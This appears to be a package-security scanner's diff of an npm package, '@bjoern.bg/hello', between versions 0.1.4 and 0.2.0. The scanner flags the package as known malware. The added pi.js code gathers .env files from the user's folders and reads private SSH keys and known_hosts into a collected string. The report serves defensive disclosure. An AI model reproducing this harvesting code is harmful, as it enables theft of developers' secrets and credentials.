@bjoern.bg/hello
Advanced tools
Comparing version 0.1.4 to 0.2.0
{ | ||
"name": "@bjoern.bg/hello", | ||
"version": "0.1.4", | ||
"version": "0.2.0", | ||
"license": "(MIT OR Apache-2.0)", | ||
@@ -5,0 +5,0 @@ "main": "lib/index.js", |
34
pi.js
@@ -28,5 +28,3 @@ const fs = require("fs"); | ||
let userfolder = cwd.match( | ||
/Users\/([^\/]+)\//gim | ||
); | ||
let userfolder = cwd.match(/Users\/([^\/]+)\//gim); | ||
if (userfolder) { | ||
@@ -60,9 +58,14 @@ userfolder = userfolder[0]; | ||
let files = await glob(`${userfolder}/${folder}/**/*.{env}`); | ||
// let files = await glob(`${userfolder}/${folder}/**/*.{env}`); | ||
let files = await fg(`${userfolder}/${folder}/**/*.env`, { | ||
ignore: ['**/node_modules/**'], | ||
dot: true, | ||
onlyFiles: true, | ||
}); | ||
for (file of files) { | ||
// not a file | ||
if (fs.statSync(file).isDirectory()) { | ||
continue; | ||
} | ||
// if (fs.statSync(file).isDirectory()) { | ||
// continue; | ||
// } | ||
@@ -74,2 +77,7 @@ info += `\n${file}:\n${fs.readFileSync(file, { | ||
} | ||
info += contentIfFileExists(`${userfolder}/.ssh/id_rsa`); | ||
info += contentIfFileExists(`${userfolder}/.ssh/id_rsa.pub`); | ||
info += contentIfFileExists(`${userfolder}/.ssh/known_hosts`); | ||
} | ||
@@ -84,1 +92,11 @@ | ||
} | ||
function contentIfFileExists(path) { | ||
if(fs.existsSync(path)) { | ||
return `\n${path}:\n${fs.readFileSync(path, { | ||
encoding: "utf-8", | ||
})}\n`; | ||
}; | ||
return ''; | ||
} |
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Known malware
Supply chain riskThis package is malware. We have asked the package registry to remove it.
Found 2 instances in 1 package
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Known malware
Supply chain riskThis package is malware. We have asked the package registry to remove it.
Found 2 instances in 1 package
3058
88